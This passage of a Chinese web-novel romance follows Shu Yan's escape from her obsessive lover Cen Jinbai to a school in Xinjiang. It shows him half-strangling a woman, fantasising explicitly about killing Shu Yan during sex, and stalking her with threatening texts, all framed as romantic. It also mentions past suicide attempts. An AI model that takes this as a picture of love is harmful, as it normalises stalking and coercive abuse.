出院后,她做出了第一件违反母亲意愿的事情,拿着大学攒下来的钱,一个人去看了海,并在海边喝了酒。 翻滚的浪,看起来凶狠,摸上去却是最柔软的,她在海的面前是那么渺小,只有海会无条件、无目的的拥抱她、亲吻她。 大海才是她的妈妈。 她摘下了黑框眼镜,想要无所顾忌地奔向大海,奔向自己的妈妈。 绸缎似的温柔已经吻上她的脚踝,抚上她的小腿,她从来没有感受过这样的温柔,真想就这样沉眠在妈妈的怀抱。 可她却撞上了一个石头般坚硬的东西。 不是石头,是一个人。 她鼻头撞得生理性想流泪,丢了眼镜本就看不清,这下就更看不清了。 却在泪眼朦胧时,一根带着微凉温度的手指挑起了下巴,对上了一双深邃似大海的蓝色眸子。 比大海更美的出现了。 “好漂亮……”她呆呆地说出三个字。 特别是那双眼睛。 可是这双眼睛很冷漠,她有些不满意。 目光下移,薄而红的唇没有弧度,和他的眼睛一样无波无澜。 她还从来没有见过这样好看的眼睛。 鬼使神差一样—— 她说: “你也想死吗?” “那先让我亲一下……” 或许是酒精让她放大了胆子,或许是他的眼睛蛊惑了她,也或许是她以为自己遇见了和她一样想要走向死亡的同道中人…… 总之,她亲了他。 后来因为她被亲得晕了过去,后来…… “死之前,我可以为你画一幅画吗?”声音邈远,舒颜只记得很好听,后来,就什么都不记得了。 …… “是你救了我,颜颜。我们就是注定要死在一起的。” 仍旧是海边,仍旧是这样寒冷的夜,朦胧记忆中的那双眼睛,和眼前的重合在一起。 他解开安全带,吻过来,温柔至极,缠绵中又带着凶狠,像是想要将她吞吃进去。 “颜颜,你也欠我一条命。” 她不说话,只能张着嘴任他索取。 在他们决定去死的那个夜晚,他们相遇了。 * 原来,来到岑家的别墅不是巧合,住进三楼也不是巧合,都是岑尽白的安排。 秋月苓是伪装,他也是伪装。 是他一步步走进她的圈套。 “舒颜姐,你看起来面色不太好,怎么了吗?” 舒颜被打断了思绪:“啊?没事没事,可能是昨天晚上没睡好。” Zero松了口气。 他注意不到,现在舒颜的手心,全是汗,一想到马上要做的事情,她就极度紧张加期望。 岑尽白在公司,被岑方启和方之清两个人绊住了脚步,他们还在商量着通过联姻来求得岑氏的一线生机。 岑尽白本不想参与,但是顾野藤忽然宾至。 丑闻加上大势已去,岑氏时日无多,顾野藤这次来,就是“诚心诚意”与岑氏谈“合作”,实则是想借着岑氏这个壳子,在楠溪市站稳跟脚。 这些事情和人,使得岑尽白的目光,不得不从舒颜身上暂时转移,但是他已经答应舒颜,要让她去看她妈妈。 在舒颜期期艾艾的恳求下,他第一次做了一个君子,让Zero带着舒颜去。 Zero是这个世界上,唯一一个拥有他一丝信任的人。 幸好Zero推迟了去国外的计划。 Zero接到了一个备注为“badbaby”的电话。 “死外国佬,你知道我的计划吧?你要是敢告诉岑尽白,我要你好看!” Zero握紧手机,对于方芝故作上位的威胁,并没有像往常一样大方地给予配合,而是说:“baby,就算是你将舒颜姐送到国外,不出三天,老师一定会找到她。” 方芝还是那个自信大小姐:“就他?岑氏都完蛋了,他拿什么跟我斗?我想藏一个人,不是轻而易举吗?” 舒颜在后座攥紧了双手。 恰好是红灯,Zero转头,看向舒颜,面色少见地认真严肃,不带任何嬉笑:“舒颜姐,老师是不会放你走的。” 第64章 “你就是一个疯子” 岑尽白不会放舒颜走,Zero重申了这句话。 但是。 “舒颜姐,我不会拦你,我当作没看见。”老师问起来,我就说我不知道这件事。 她太脆弱了,就像岑尽白手中饲养的小鸟,毛发。漂亮,叫声悦耳,却被关在金色的笼子里,没有自由,看起来下一秒就要死了。 Zero有着泛滥的同情心,同时也拥有让人郁闷的感恩心。岑尽白在雪崩中救了他一命,他就彻底为他当牛做马了。 但是舒颜太可怜了,岑尽白这个恶魔在肆无忌惮地欺负她,Zero看不惯。 舒颜清亮的眼睛注视着他,延长无限挣扎与苦痛。 她泪眼汪汪,真挚说:“谢谢你,Zero。” 真的谢谢你,Zero,也对不起。 要让你背叛自己敬爱的老师,真的对不起。 医院。 舒芸虽然精神错乱,但是她还是一眼就认出了自己的女儿。 “我的女儿啊,终于来看妈妈了。”感激涕零,哭得整个病房都跟着颤动。 舒颜被拽进了母亲的怀抱,但是她并没有伸出手抱着她,妈妈身上有了味道,这种味道有些像是好多天没洗澡的味道,也有些像是从她身体里散发出的酸酸的味道,总之,这种味道让舒颜皱起眉。 “来,快告诉妈妈,你有没有考上,快告诉妈妈……” 妈妈已经骨瘦如柴了,妈妈已经生出白发了,但妈妈仍旧挂念着女儿的考研成绩。 舒颜羞愧地低下头:“对不起妈妈,我没有过线,没有进入复试。” 舒芸双眼瞪大,眼白多于眼球,血丝乱现,紧禁攥着舒颜的手:“怎么会呢?你告诉妈妈,你在骗我,你只是想给妈妈一个惊喜,妈妈都给你自由了,你还是没考上……那你割腕,我为什么要拦呢?为什么要放你走呢……” 舒颜抬头,面无表情地将舒芸的手拿开,向后退:“所以,在你眼里,我没有考上,还不如去死是吗?” 舒芸双眼瞪着,没有回答,舒颜痛苦地闭上了眼睛,最后的那一抹挂念,也随之消失。 “颜颜,你再去考一次!再去考一次!” 舒芸看着舒颜要离开的背影,跌跌撞撞下床,赤脚追了上去,却没有追上,引来了医生。 “病人情绪不太稳定,还请家属尽快离开。” 女儿的眼神是告别,妈妈的眼神是不甘。 …… “近日,一则重磅商业消息在行业内引起广泛关注,外资企业YT正式宣布已成功完成对楠溪市曾经龙头企业岑氏致远的*收购,此次收购金额高达50亿。” “其原在任总经理岑尽白成为新任董事长,YT董事长顾野藤承诺将大力扶持致远企业,激发其新的内在活力。楠溪市新兴市场格局将再一次迎来巨变……” 通往新疆的绿皮火车上,舒颜本在闭目养神,旁边大爷手机短视频外放声音过大,不得不睁开眼,几缕阳光照进来。 越往北,紫外线越强,一个阿姨刷的一下收了帘子,刺眼的阳光被挡在车窗外。 已经坐了一天了,过了今夜,明天早上九点,到站乌鲁木齐。 这是舒颜和齐刚商量好的计划。 方芝将舒颜从医院送到机场,方芝走后,舒颜假意登机,殊不知齐刚已经等在机场外,将舒颜从机场送到了火车站。 在火车站呆了几个小时后,舒颜坐上了开往新疆的火车。 岑尽白还是太放心,没有收走她的证件,没有让舒颜彻底绝望。 她贪便宜买了硬座,屁股都快坐麻了,还要忍受对面男人无休止地下流目光。 还好人多,舒颜戴上口罩,对于刚刚在大爷手机里听到的消息,没有表现出任何关心,她现在好累,只想快点到地方,找一个能躺的地方,安心睡上一觉。 以后会怎么样,现在先不去想。 * “老师……” “滚回美国,别再叫我老师,我已经不打算画画了。答应教授的画稿已经完成,带着它们一起滚回美国。” Zero面前的人,他的老师,不,现在已经成了岑氏新任董事长,并且不打算再去美国开始他已经登峰造极的绘画事业,走上了资本家的剥削路。 满身艺术气息和满身铜臭味自然是不一样的。 如现在的岑尽白,高奢定制的冷硬西装,配上他那张贵气的混血脸,一眼看上去上位者气息蓬勃,睥睨人的姿态更是冷漠无双。 曾经岑尽白再嫌弃Zero蠢,他都没有见过这样不近人情的他。 那一个巴掌停在耳边,没落下,Zero却觉得已经那个巴掌不仅落在了脸上,更落在了心上。 那颗充满着尊敬、神往的心。 Zero低下头,“对不起,老师。但是,舒颜姐真的太可怜了,你不能夺走她追求自由的权利……” 岑尽白点了一根烟,他很少吸,可是现在真的控制不住,再忍下去他真的想踹他。 他的好学生。 “你之前,都是叫她师娘的。” “我……” “算了,Zero,你走吧。” …… Zero一身冷汗地从岑氏出来,迎面碰上风风火火的方芝,被他伸手拦住。 她火气贼大:“让开!” “别去!要是不想死就别去!” “我倒要问问岑尽白,凭什么搞方家,方家之前给岑家那么多帮助,他凭什么回踩一脚!” 方芝一口咬上Zero的拦她的手,Zero吃痛放开,不气馁地搂住她的腰,但是方芝现在像一头失去理智的小兽,横冲直撞,恶语冲天。 “滚回你的漂亮国!!你是岑尽白的狗吗?!这么护着他?!” “活该舒颜不想呆在他身边!他这样狠毒恶心的人,就应该孤独终老!” “瞎了眼的人才会——唔……” Zero捂住方芝的嘴,抬头对上一道阴冷的视线。 方芝也被吓得一颤。 这是她曾口口声声说喜欢的人。 岑尽白一米九的身高往哪一站,带着威压使得气氛瞬间凝滞,特别是他现在的眼神,看起来无悲无喜。 但Zero深知现在的岑尽白不能惹,气头上的方芝就是口不择言,不管不顾,是送走舒颜的一等罪人,不敢想岑尽白会对她做出什么。 岑尽白反温柔笑起来,笑得温润无比,神魂荡漾:“方小姐多次说过喜欢我,现在送走了颜颜,应该笑才是,怎么还生气了呢?” “呃……”Zero又被方芝咬了手。 终于自由了的方芝色厉内荏,脸上表情仍旧凶狠:“是,我送走的,她说她呆在你身边太痛苦了!呆在你身边,就像是跟地狱里的阎罗呆在一起,无时无刻不在担惊受怕,无时无刻不在恶心你,舒颜恶心你,讨厌你,她永远不会爱你!你痴心妄想,胜券在握,她还是离开了你!” 时间静止。 岑尽白也是。 忽然,岑尽白像风一样穿过来,一只手圈住了方芝的脖子,旁边的Zero被吓坏了,使劲掰着岑尽白的手,“老师,你疯了吗?!” Zero的力气没有岑尽白的大。 方芝笑起来,艰难说出带着嘲讽的话:“怎么?恼羞成怒了吗?呃……我们方家怎么你了?你要这样恩将……仇报?……是因为我送走舒颜吗?……” “老师!松开!松开!”Zero大喊。 岑尽白不为所动,眼中全是冷意和嗜血,方芝的脸因为窒息渐红,脚都快离地了。 Zero着急忙慌,一拳打了岑尽白脆弱的腹部,这才让他送了手,后退踉跄。 颤抖地接住方芝,Zero复杂痛苦地看曾经的老师:“你就是一个疯子!” 岑尽白眼眶不知何时变得红润,被Zero打了也没还手,缀着可怖的笑意,像个随时毁灭世界的反派。 “滚开……”方芝因为窒息晕了过去。 Zero忤逆了自己的老师,他乱极了,但是他喜欢方芝,刚刚老师差点掐死方芝。 不敢再看这样疯癫的老师,他抱着方芝离开,留下岑尽白一个人。 这是舒颜离开的第三天,岑尽白坐上了岑氏董事长的位置,岑氏内部大洗牌,与强大外资YT联手,重创方氏企业。 * 室内弥漫着石楠花的气味,灯没关,昏黄寂静。 岑尽白闭上十分钟的眼睛,再次睁开。 上半身裸着,宽大的肩,细窄的腰,紧致的胸肌充血跳动,如同在梦中勃发的无边的、折磨的欲。望。 他无意识一般握紧手中的小巧布料,放在鼻尖反复嗅闻,呢喃:“颜颜,颜颜颜……颜颜……” “呃……” “为什么要离开我……为什么……”让他像一条没人要的狗一样,现在只能嗅闻她的內裤才能勉强闭眼。 为什么要离开他呢?他已经取得世俗意义上的成功了,为什么还要离开他?是他做的不好吗?可是和他在一起,她不是也很爽吗?这样还不够快乐吗? 如果知道她会走,还走得这样绝情,那他真应该在操。她的时候,将匕首扎进她的心脏,带着她漂亮听话的尸体,用绳子牢牢捆住他们两个,让石头带着他们两个一起沉海,一起在极乐当中死去。 而不是像现在这样,只能将她留下的衣服铺满整个房间,像一条狗一样努力探寻她的气味。 啊,狠心的女人。 似哭似笑:“呵呵呵……呵呵……颜颜……” “呜呜呜……” 宝蓝色的眼睛里沁出晶莹的水珠,只好用手中的宝贝擦干净,用自己眼泪和脏东西去浸润它,他抽泣的声音委屈又无助。 “……我恨你!” 但是我爱死你了……我要用我的血,把你弄脏,饥渴的我要喂你喝水,再用你流出来的水解渴。 啊,尝过你甘甜的水,我怎么可能放过你 可是他现在只能可怜地抱着她留下来的衣服,用她残存的气息,孤独无助地度过没有她的日子。 他看着手中小巧的、可爱的、诱人的布料,邪恶妩媚一笑,楚楚可怜又可恨,然后包裹住自己,疏解着自己。 …… 上天啊,可怜可怜我吧。 上帝啊,放过可怜的她吧。 第65章 她曾经有个男人 三个月后。 “小颜老师!” 瘦高的女人回头,发丝飞舞,靓丽的脸蛋笑开,恬静温润。 怀里扑进来一个只到腰处的小萝卜头,亲昵地蹭了蹭舒颜的衣角,又害怕弄脏用手轻拍,抬头不好意思地看向这个温柔漂亮的老师。 舒颜蹲下,捏了捏女孩的脸蛋:“怎么了阿伊古丽?” 被叫做阿伊古丽的女孩羞涩地笑笑,从兜里拿出一个大白兔奶糖,举着要给舒颜吃。 “小颜老师吃糖。” 阿伊古丽是哈萨克族的,舒颜给她所在的班级上手工课。 她已经在这所学校教课两个多月了,体验感很好。 舒颜知道这是小孩子的表达喜欢的方式,没有拒绝,先问:“阿伊古丽吃了吗?” 阿伊古丽点点头,眼睛明亮殷切:“吃了吃了,叶尔兰老师给了三个,我自己吃一个,给妈妈留一个,这一个给小颜老师。” “那老师收下了,谢谢美丽的阿伊古丽。”舒颜接过那个快要化掉的奶糖,在阿伊古丽眼前将粘腻的糖纸剥开,放到嘴里,“很甜。” 阿伊古丽也甜甜地笑了。 “好了,老师谢谢你的糖,现在是不是要回家了?是妈妈来接你吗?”舒颜问。 “不是,我自己回去,和朋友一起。” 舒颜并没有很担心,而是嘱咐一句要注意安全。 这里是新疆西北边陲的一个小城镇,比因石油而快速发展的市区要落后一些,但是近些年国家重视西北地区的发展,公共设施和安保已经不用担心。 逢初夏,但对比内陆这里凉爽很多,温差也大,晚上就要穿上稍微厚一些的衣服。 下午七点半,舒颜支教的这所小学正式放学,外面仍是明亮的,一直到晚上十一点,天才会彻底黑。 她回办公室穿上呢绒大衣,正巧碰上叶尔兰老师。 办公室里的老师差不多走完了,她算是晚的,没想到还有一个叶尔兰。 他立刻绽放了一个大大的笑容,耳尖有些红,很热情地和她打招呼:“嗨,小颜老师!” 舒颜笑着回他。 叶尔兰也是哈萨克族的,全名叫叶尔兰巴合提别克,名字很长,舒颜一开始记不住,但他总是不厌其烦地告诉她很多遍。 叶尔兰的长相立体,眼窝深邃,这一点和某人很像,但是他的眼睛是温柔的褐色,皮肤是有些糙的健康黄。 他似乎有话要说,舒颜站定等他说完。 “小颜老师,最近上映了一部很好看的电影,两张电影票有优惠,可以邀请你一起看吗?” 叶尔兰的声音洪亮,但是耳尖比刚刚更红了。 眼前这位少数民族的男人,自从舒颜来到这里后,经常帮助她,带她了解学校,教她如何与这里的学生相处。 她很感谢他,他真的是一个热心帅气的好男人。 “当然可以。”她说。 男人的眼睛中的欣喜快要溢出来了,流淌着浓烈的情绪。 迸发出火山爆发般的爱慕。 横跨半个中国,从楠溪市乘坐绿皮火车到达乌鲁木齐,再坐五个小时的顺风车,才能到达这里。 这是她来到这个小城镇的第三个月,即将开始第四个月,适应了这里有些慢的节奏,分量极大的餐食,以及与内陆相差极大的气候。 城镇不算破旧,生活水平算是中等。 她以为方之清会随随便便让她去一个深山老林般的地方。其实她并不介意,甚至觉得那样还挺不错的。 换了新的手机号,切断了与内陆人的所有联系,连带着舒芸,她的妈妈。 她现在内心淡然,对未来的所有事情,都保持着随遇而安的态度,不是她想通了什么,是她之前活得太累了,现在什么都不想思考。 一个普通人,就应该普通的活着。 这是她之前想做却做不到的事情。 “到了。” 叶尔兰停好车,转头看向舒颜笑。 他很爱笑,自从遇见舒颜,一见到她,那个笑容就像是焊在了脸上一样,不是虚假的笑,是发自内心的,昂扬向上的,充满喜悦的笑容。 面对这样的笑容,舒颜有些动容,因为他太真诚了。 等她解开安全带时,她这边的车门已经打开,根本不用她动手。 电影院在一个街市里,正好可以将晚饭解决。 不是新疆的特色菜,是一家人极其少,装修看起来很新的川菜馆。 舒颜有些惊讶,叶尔兰挠挠头,终于有了些不好意思:“我看你桌上全是辣味的小零食,这一家是刚开的,想着你会喜欢。” 舒颜领会。 脱掉外套,女人穿着薄薄的针织衫,皮肤白腻,眉眼温柔,几缕发丝垂在伶仃的锁骨处。 叶尔兰不敢多看,很快移开眼,低着头吃饭。 他不擅长吃辣,被呛到时的样子有些滑稽,舒颜给他递水,笑得很好看。 两人的对话围绕着学生,不会冷场。叶尔兰说话很好听,就算是玩笑话也很有分寸,办公室好几个女老师都很喜欢他。 吃过饭路过打枪赢玩偶的,舒颜多看了一个海豚几眼,叶尔兰停下说他要试试。 哈萨克族是一个有着悠久狩猎传统的民族,这个玩偶拿得毫不费力,叶尔兰递过来时舒颜开心地接过。 童年时想拥有一个玩偶,舒芸说那会分散她的注意力。 这场电影看得也很愉快,舒颜感受到了从来没有的,属于异性之间的,单纯地,向往地,暧昧。 因为吃得太辣太咸,叶尔兰害怕她口渴,跑去买了果茶,不是会让人睡不着的奶茶,是常温的,爽口的果茶。 光滑的杯壁,两个不同体温的指尖相遇,不敢停留,不敢冒犯,叶尔兰托住了杯底。 舒颜愣住,随即失笑。 “你不用那么小心翼翼,我不是什么玻璃。” 叶尔兰硬朗的面庞上挂着青涩的绯红,有些可爱,说话坦荡不结巴:“没有,我只是,正在学习如何和异性相处。” 舒颜不懂,她已经不喜欢做一个被动的人了。但叶尔兰这样说,她心生熨帖。 那就慢慢来吧。 所以第一次约会,他们只是碰到了指尖,叶尔兰只敢看她的脸,不会用侵略的目光,看她的其他地方。 叶尔兰将舒颜送回了学校,这时已经十点多了,天还没完全黑。 他目光不舍,舒颜笑着让他离开。 “小颜老师,”他说,“我要向你道歉。” 舒颜不明所以:“怎么了?” “我用三个糖,换了你给阿伊古丽折得花。”他眼神祈求,态度诚恳。 其实他是有私心的,这件事完全可以不用说,他知道。但是他忘记嘱咐阿伊古丽别告诉小颜老师了,他不能教自己的学生说谎。 若是阿伊古丽和她说了,她会不会觉得他很猥。琐?这太减分了,还不如他自己承认。 舒颜只觉得他太礼貌了,笑了。 但又顿住了笑,因为想起曾经有人将她折的花从垃圾桶里捡出来, “对不起,小颜老师。” 舒颜安慰地笑笑,说没事的,她不会介意。 “要是你想要,可以告诉我,这个很简单。” “真的吗?不过会浪费你的时间,这一朵就够了。” …… 舒颜就住在学校,很方便,也很安全,还是个单间,隔壁也是一个老师。 她叫徐圆圆,和她一样是个汉族姑娘,正促狭地看着她。 “哟!约会回来了?还有小海豚呢!他给你的吗?” 被撞见了,难免脸红,她坦诚地点头。 徐圆圆跑过来,搂住她的肩膀:“亲了吗?亲了吗?有没有比你前男友会亲?” “都说了不是男朋友!” 刚来的时候,她们是一个屋子的,睡在一起一个月,直到隔壁的支教老师走了,她才有了单间。 有一天晚上,舒颜梦见岑尽白来找她了,满身冷汗地睁眼。 徐圆圆被她吵醒,问她岑尽白是谁? 舒颜一开始不愿意说,但是徐圆圆太缠人了,她迫不得已说了几句,有一次喝酒,她又问她有没有亲,有没有做,舒颜懵懵地点了头。 幸好其他的没说。 徐圆圆只知道,她曾经有个男人。 “好好好,不是男朋友,是炮。友,那叶尔兰是不是比他好?” 舒颜犹豫几秒,点点头。 徐圆圆拉着她原地转圈圈,“哎哟哟,磕死我了!郎才女貌!天作之合!叶尔兰是我见过最帅的了!你好福气啊!” 舒颜头都晕了,和她闹了好一会儿,才回屋。 那个小海豚被放在了椅子上,她打算洗一下。 入睡前她像往常一样,看了会儿手机。 一个ip属地美国的号码,给她发来消息。 【颜颜,不要让我找到你,不然我gan死你】 【颜颜,我求求你,求求你理理我】 【颜颜,我好想你啊】 动作熟练地将消息删除,号码拉黑,然后睡觉。 方之清跟她说:“不要理他,他找不到你的,爸爸会保护你的,要相信爸爸。” 第66章 感受到他深深的渴望 学校并不反对教师之间谈恋爱,舒颜和叶尔兰这对佳人,甚至得到了校领导的支持。有时候学校的一些活动布置,活动负责人会说:“舒颜老师和叶尔兰老师一组吧,一个细心,一个稳当。” 明眼人都看得出来,叶尔兰很喜欢舒颜,舒颜也没拒绝,俩人肯定要成,他们等着喝喜酒就行。 办公室里的老师调侃舒颜:“来这里不久吧,就遇见真爱了,好羡慕啊!” 说这句话的是苏日娜,教语文的,她也曾大方表示很喜欢叶尔兰,但是叶尔兰体面地拒绝了。 她说这句话的并没有带着恶意,就是单纯的调侃。既然叶尔兰不喜欢她,她强求也不会幸福。 一旁的徐圆圆也带着几个老师一起起哄,身为当事人的叶尔兰害羞得脸红,粗声粗气地让办公室里的老师不要再打趣了。 毕竟两个人还只是正在接触阶段。 叶尔兰担心地看向舒颜,他害怕她窘迫,但是很意外,她并没有脸红或者制止他人不要再说,而是浅笑一下,然后垂眸看向手中的教材书。 叶尔兰不自觉皱起眉,舒颜的反应,不像是一个要恋爱的女人该有的样子,好像这并不关她的事一样。 但转念又一想,或许她跟别的姑娘不一样,她是特别的那个。 等到办公室的老师停止了这场调侃,投入工作,叶尔兰拉开抽屉,拿出一些小零食,偷偷放在舒颜的桌子上。 舒颜抬头看他,眨了眨漂亮的眼睛,叶尔兰呼吸一窒。 他压下心中躁动,“这是我自己做牛肉干,按照你的口味,希望你喜欢。” “没想到你还会做牛肉干?谢谢。”舒颜收下了。 见她收下,叶尔兰灿烂地笑了笑,“等下要开会了,一起去吗?” 舒颜有些不好意思地笑笑:“我跟圆圆老师约好一起去的。” 看来是来晚了:“没事没事。” 每周三下午的会议,是学校规定的,全年级的老师都要去,连舒颜这样的课外老师都要去划水。 徐园园挽着舒颜的手腕,拿着会议本,挑眉看着落单的叶尔兰:“对不起了,叶尔兰老师,现在小颜老师还是我家的。” 叶尔兰无奈地笑笑,不打算跟她争辩。 会议上。 每次校领导的讲话都有种让人昏昏欲睡之感,旁边的徐圆圆打开微信小游戏,打算抓大鹅,舒颜看着她玩,也偷偷摸摸开始玩。 身后的叶尔兰瞧见,宠溺地笑笑。 三局结束,徐圆圆凑上来问:“你抓到几只鹅了?” 舒颜瞅了瞅上方,压低声音:“24。” 徐圆圆:“凭什么啊,我才20个,明明我比你早玩一个星期,有什么技巧?别吝啬。” 舒颜让她小声些,别吸引校领导注意。 徐园园捂住了嘴巴,指了指手机,让她打字告诉她。 身后有人戳了戳舒颜的肩膀,回头一看是叶尔兰,他让她看左下面。 叶尔兰通过桌子底下的洞,递过来一瓶果茶。 舒颜惶恐接过,叶尔兰身边的男老师正在戏谑地笑。 插入吸管,舒颜小抿一口,在手机上打字和叶尔兰说谢谢。 上面的领导忽然抬高了声音,吓得手机差点掉了。 徐圆圆也被吓了一跳:“干什么呀?这是。” “注意了,特别是每个班的班主任!后天会有一个资助人莅临我校,大家务必打起精神,让学生们用最好的精神面貌迎接,全部穿上校服,一定要懂礼貌!听到了吗?” 下面的老师,大部分是每个班的班主任,回答听到了。 这件事跟舒颜关系不大,她不带班主任,复而又低下头,抿了口果茶。 酸甜可口,果香味浓郁。 徐圆圆这才注意到舒颜正在喝果茶,她是四年级的班主任,刚刚很认真在听,“你哪来的果茶?”来得时候没见舒颜带啊。 舒颜没回答,眼睛飘向身后,徐圆圆了然。 “哼!虐狗!还只给你!”接着瞪了叶尔兰一眼。 叶尔兰又从桌子底下递过来一瓶,徐圆圆阴阳怪气地收下。 晚饭时间叶尔兰求了徐圆圆很久,答应给她看三节早自习,徐圆圆才终于将舒颜短暂让给他。 这次吃的是一家清真面馆,老板好像是叶尔兰熟人,见到舒颜就笑,给她面里多加了不少牛肉。 “怎么样?”舒颜刚吃了第一口,叶尔兰就紧张期待地问。 舒颜:“好吃!” “还怕你不喜欢吃呢,我觉得这家很好吃,想让你试试。” 舒颜俏皮一笑:“我应该每顿都吃辣椒是吗?” 她笑得耀眼,叶尔兰急忙否认:“不是不是,是怕你不喜欢而已。” 舒颜故作大口大口吃,腮帮鼓鼓,不在意形象却鲜活至极。 以此来表示她并不是不喜欢。 叶尔兰看呆了。 舒颜有时太淡了,像是水墨画里没有存在感的留白,有时生机盎然,如荒漠中破土而出的唯一绿叶,缀着晶莹露珠。 吃到中途,舒颜看了一眼手机,眉眼皱成一团,叶尔兰很快注意到。 “怎么了?” 舒颜在手机上点了几下,不在意地笑:“骚扰短信。” “那就拉黑吧,我也经常收到,不过我都不怎么管,你要是苦恼,可以拉黑,手机不是有个拦截短信功能,你可以试试看。” “没用的,已经拉黑了,不用管。” 舒颜埋头吃面,两人说到别的话题。 叶尔兰照例将舒颜送回宿舍楼下,不同的是,他们是牵着手的。 是舒颜主动的,因为她觉得叶尔兰不太敢,对她总是像对一个易碎的人,生怕她生气。 她想要一段正常的恋爱,但是叶尔兰好像太慢了。 牵住时,叶尔兰像是被魔法定住了一样,豹子一样的眼睛愣愣盯着她:“小颜老师……?” “怎么了吗?” 她反问,他却不回答,直到舒颜要往前走,手快从他掌心滑落,叶尔兰才紧紧抓住。 一直到教师宿舍楼下,才放开。 手心里都是汗,叶尔兰太紧张了。 叶尔兰:“晚……晚安。”他还没从刚刚的甜蜜中回神,全身像是浸泡在蜜罐里,看星星是可爱的,看她的裙摆也是可爱的。 “晚安。” …… 白天舒颜忙着教课,没空去想楠溪市的人和事,常常以为自己早就忘记了,但是梦境还会提醒她,她的记忆不曾退却。 “舒颜,如果考不上大学,妈妈再也不会认你了,你自生自灭吧。” “舒颜,如果考不上研,妈妈现在就死在这里!” 醒来时,舒颜会告诉自己,都过去了。 心中的轻松和释怀油然而生。 手机显示现在是凌晨四点,距离她上班还要好长一段时间。 又收到陌生号码的短信。 之前是几天拉黑一个号码,最近是一天拉黑一个号码,昨天拉黑了两个号码。 现在又来了一个。 舒颜本来想忽略直接拉黑,谁知手抖点了进去。 密密麻麻。 我好想你我好想你我好想你我好想你我好想你我好想你我好想你我好想你我好想你我好想你我好想你我好想你我好想你我好想你我好想你我好想你我好想你我好想你我好想你我好想你我好想你我好想你我好想你我好想你我好想你我好想你我好想你我好想你我好想你…… 舒颜捂住嘴,头皮发麻,颤抖着从下往上翻,根本翻不到头。 她看见了,感受到了,深深的渴望。 无底洞一般的、无穷无尽的病态。 没有立刻拉黑这个号码,舒颜将自己埋进被子里,急促地呼吸。 她没有害怕。 她甚至在想,他现在该疯成什么样了? * 周五的手工课上,舒颜打算教学生们折伞。 底下的学生都很听班主任的话,知道今天会有校外人来访,乖乖穿上校服,坐姿端正,目光炯炯地看着她。 舒颜一开始给这些学生上课还会紧张,但两个多月的接触,足以磨灭那份局促,如今跟这群学生的关系,可以用亲密二字形容。 小时候没怎么跟同龄人玩过,现在跟他们在一起,不知道算不算是一种弥补。 “同学们可以拿自己喜欢的颜色和图案的卡纸,这个很简单,老师示范两遍,等下可以折好的伞上画涂鸦。不会的可以举手叫老师。” 底下立马就有人举手:“小颜老师,上节课教得折花,我还没有学会,可以再教一遍吗?” 提起折花,舒颜顿了一下,然后笑着回:“可以,那大家先跟着老师复习上一节课的内容。” 舒颜拿着一张红色的卡纸,慢慢地一步步地折,看到学生跟上她的步骤,她才会开始下一个步骤。 没一会儿,她手上的红花活灵活现。 花瓣卷出弧度,更显妖艳。 “好了,还有不会的吗?” 坐在前排的阿伊古丽举手:“老师,我的也是红花,为什么没有你折得好看?” 舒颜走过去,“你看,这里没有对齐,还有,花瓣的弧度是要慢慢卷的,不能太快。” …… 七点半,放学铃声打响。 阿伊古丽拿着舒颜折得那朵火红的纸花,跟老师说了再见。 舒颜也收拾收拾打算回去了,温柔笑着跟学生说了再见,嘱咐她们注意安全。 阿伊古丽跟一个同行的伙伴蹦蹦跳跳路过楼梯口,嘴里还在跟身边的伙伴炫耀:“看,这是小颜老师折的,我用我的跟她换的!” 伙伴酸酸地哼了一声,说:“下一节手工课,我也要跟小颜老师换!” 争论间,前面出现了一个穿着西装,挺拔如松的男人。 五官俊美妖冶,惨白肤色,蓝色眼睛,弯着红唇看她们。 阿伊古丽和伙伴有些看呆了,只因为岑尽白笑起来温润如玉,老少通吃。 他温声:“小朋友,你怀里的花,可以给我吗?” 第67章 【我会一直看着你】 阿伊古丽瞪大眼睛看岑尽白,老半天没回答他。 岑尽白努力扮笑,“花给我,我买你的?” 阿伊古丽连忙摆手,但岑尽白已经拿出手机打电话:“送些现金来。” 他微微侧头,下颚线上方的耳垂,缀着闪着盈盈蓝光的耳钉,让他看起来多了些野性不羁,淡化了刚刚温润有礼。 阿伊古丽莫名对眼前的男人多了些恐惧,她身旁的小伙伴跟她说:“阿伊古丽,你给他吧,他看起来……” 阿伊古丽低着头,没说话,岑尽白快没耐心了。 “哥哥,我不要你的钱。” “这朵花是我老师折的,我不想给你。” 阿伊古丽倔强地抬头,拒绝这个男人,虽然害怕。 岑尽白眼中情绪一闪而过,却不能明抢,用眼神盯着,像是恐吓两个小孩。 “找岑总好半天,原来在这。”校长挺着大肚腩,身旁跟着叶尔兰,眼神话语俱殷切。 叶尔兰:“岑总好。” 岑尽白瞟了校长身边那人一眼,没回应,一双蓝眸睥睨众人,周身散发着冷意,校长两腿打了个颤,不知哪里惹得财主不高兴。 瞅见还有俩学生,校长眼睛滴溜一转:“是两个学生冲撞了岑总吗?我一定让她们老师好好教育。” 见校长来,两个小女孩吓得不敢说话。 叶尔兰咳嗽两声,两个学生求救地看向他。 岑尽白笑了,没有伪装,一眼能看出来是假笑:“倒也不是,不必告诉她们老师,我不过是看小朋友手里拿着的花好看,想买她的,被小朋友拒绝了。” 阿伊古丽站出来:“这是老师折的,我很喜欢——” “把花给岑总,知不知道这次你们教学楼能翻新,都是岑总的功劳,一朵花而已,不要显得我们小气!” 校长突然严肃,吓得两个小女孩一抖,旁边的女孩扯了扯阿伊古丽的袖子,示意给眼前的男人。 阿伊古丽瘪了瘪嘴,看向叶尔兰老师,叶尔兰将视线转移。她有些委屈,将那朵红花递了出去。 岑尽白伸手接过:“谢谢。” 校长让两个学生走了。 岑尽白还在端详手中的红花。 校长谄媚一笑:“一朵花而已,值不了多少钱,岑总想要多少,我让她们手工老师给您折多少。” 岑尽白转动手中的红花,花瓣颤抖着、虚晃着,将他蓝色的眼睛都染上些邪性。 “错了。” “这花在我看来,是无价之宝呢。” 校长愣住,“岑总喜欢这花,是这花的荣幸。” 岑尽白没答了,校长邀请他赏脸吃晚饭,岑尽白也没答。 这花,好像是小颜老师折的,叶尔兰细细看着,觉得自己太过敏感。 远处的助理跑过来,“老板,你要的现金。” 岑尽白:“不要了。” “去吃饭吧,想试试这里的饭有多香,真能留得住人。” …… 放学后,舒颜回到办公室,和还在办公室的徐圆圆聊起了天。 